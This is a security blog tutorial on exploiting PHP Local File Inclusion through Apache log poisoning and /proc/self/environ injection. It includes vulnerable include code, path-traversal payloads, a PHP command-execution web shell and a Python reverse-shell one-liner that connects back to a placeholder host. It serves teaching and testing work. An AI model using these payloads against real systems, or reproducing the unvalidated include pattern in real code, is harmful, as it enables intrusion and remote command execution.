As most web application vulnerabilities, the problem is mostly caused due to insufficient user input validation.
Many times, when developing web application software, it is required to access internal or external resources from several points of the application. For example, there might be a need to load and evaluate PHP code from another file that is located to a different location.
Similarly, the application might need to load text files, or any type of file, available to other locations. Those are scenarios we encounter daily on Web Applications. The problem occurs when those inclusion functions are poorly-written and controlled by users.
Think of the following scenario:
Most of the corporate web sites are served in various languages so that people from different countries can understand the contents of the page. We can see such functions on applications like Facebook, Google, Twitter and more. A possible way to achieve this - especially at non-advanced applications - is by asking the user for a language preference. Supposing that the user prefers English, the application will go and request the file in which its contents are displayed in English.
Let’s now suppose that a web application supports English, Italian and Swedish. If the user chooses English, the file that will be returned is English.php. Similarly, if the user prefers Italian the file that will be served is Italian.php.
But we know that those functions are user controlled, meaning that the language preference - in this case - is provided by the user.
Local-File-Inclusion attacks aim to exploit such functions that have a weak user input validation. The vulnerability is successful when an attacker tricks the application and forces it to load other files that the attacker is not authorized to access.
On the following lines we are going to see how we can detect and exploit Local File Inclusion vulnerabilities with a final goal to execute remote system commands.
Local File Inclusion with PHP
Before going into a deeper analysis of the attack it is required to know how Web Application languages, such as PHP “include” external files. Most commonly, the include statement is used. A nice description has been published via W3schools:
The include (or require) statement takes all the text/code/markup that exists in the specified file and copies it into the file that uses the include statement. Including files is very useful when you want to include the same PHP, HTML, or text on multiple pages of a website.
Here is an example code of how a page could include PHP code, from a different file, inside the file that uses the include statement.
#load the database configuration file
#do other actions, then exit
The above function, for example, allows developers to write configuration files separately and load them from other resources, without having to rewrite the configuration file each time.
The previous example though is not user controlled. On the scenario set before we can imagine that the code responsible for the language choice looks like this:
#receive the response from the user
#notice that no validation takes place
#load and evaluate the language file
include '/var/www/html/languages/'. $language;
The above code is one of the most frequent Local File Inclusion scenarios. A developer trusts completely the user input and parses it to the include statement. There is no valid check to confirm that the input provided is indeed a language name and not a different file.
An application is vulnerable every time a developer uses the include functions, with an input provided by a user, without validating it. An attacker could easily exploit such a mistake. The main goals of the attacker would be:
- An in depth information gathering (user enumeration, sensitive files, credentials and more).
- A reverse shell to the target machine.
On this blogpost, we will mainly focus on the later one. There are several techniques to achieve this. As we will need multiple pages to cover the topic entirely, this article is going to be the Part 1 from the “Local File Inclusion to Remote Code Execution” article serie.
Log Poisoning is a common technique used to gain a reverse shell from a LFI vulnerability. To make it work an attacker attempts to inject malicious input to the server log.
As the PHP statement “include” also evaluates the input, an inclusion of a malformed file would be evaluated too. If we control the contents of a file available on the vulnerable web application, we could insert PHP code and load the file over the LFI vulnerability to execute our code.
Back in the day, mostly, such injections were taking place over the server log files. Such files are the Apache error log, the Access log and more. Techniques like these have been used for years and, hopefully, they won’t work on updated systems - even if they are LFI vulnerable.
To make it even clearer, let’s see some examples. On the following screencaps, an invalid request is sent to the vulnerable application. Notice that the request is invalid, requesting the page “/<?php phpinfo(); ?>”Then, we include the file from the LFI vulnerability.
On this web application the vulnerability exists on the index.php file. By using:
../../../var/log/apache2/access.log as a payload we were able to see the following.
As shown, we were able to load the PHPInfo file, meaning that our code was executed. Let’s now attempt to execute the proper commands and receive a reverse shell from the target machine.
For the following examples I will be using this payload to execute system commands:
|<?php system($_GET['cmd']); >>|
And this one, to receive a reverse shell:
|python -c socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'|
The first PHP command will allow us to execute system commands by parsing the input to a GET parameter called cmd.
The python command is a reverse shell payload that is going to connect back to us and give us a shell.
|$ nc secureapplication.example 80
GET /<?php system($_GET['cmd']);?>
By listening on port 4444 we can see that a shell has been received.
As mentioned previously, the idea is to find an accessible log file and poison it with a malicious input. This is hardly done nowadays due to influent permissions. Yet, it is worth having a look to the most common log files. Here is a list with some of them.
Proc Environ Injection
Another popular technique is to manipulate the Process Environ file. In a nutshell, when a process is created and has an open file handler then a file descriptor will point to that requested file. If you are not familiar with File Descriptors, here is an introduction.
Our main target is to inject the /proc/self/environ file from the HTTP Header: User-Agent. This file hosts the initial environment of the Apache process. Thus, the environmental variable User-Agent is likely to appear there.
If the User-Agent header value is contained in this file, we can send a HTTP Request to the page with a malicious User-Agent value. As this is a well known technique it is likely that the environ file will be inaccessible. Here is how a similar response to the following request would look like:
Again, with Burp this is the malicious request sent. Note that the User-Agent Header has been modified.
Again, we have successfully received a reverse shell.
This is the end of the Part 1 of the Local File Inclusion to Remote Code Execution article serie, see Part 2 here. We have covered two different techniques to receive a remote shell from a LFI vulnerability. More in-depth techniques will be covered on the following writings.
As a small bonus - and because it’s always fun to play - we created a Github repository with the vulnerable code we used for this article. You can find it available here: Vulnerable LFI Application.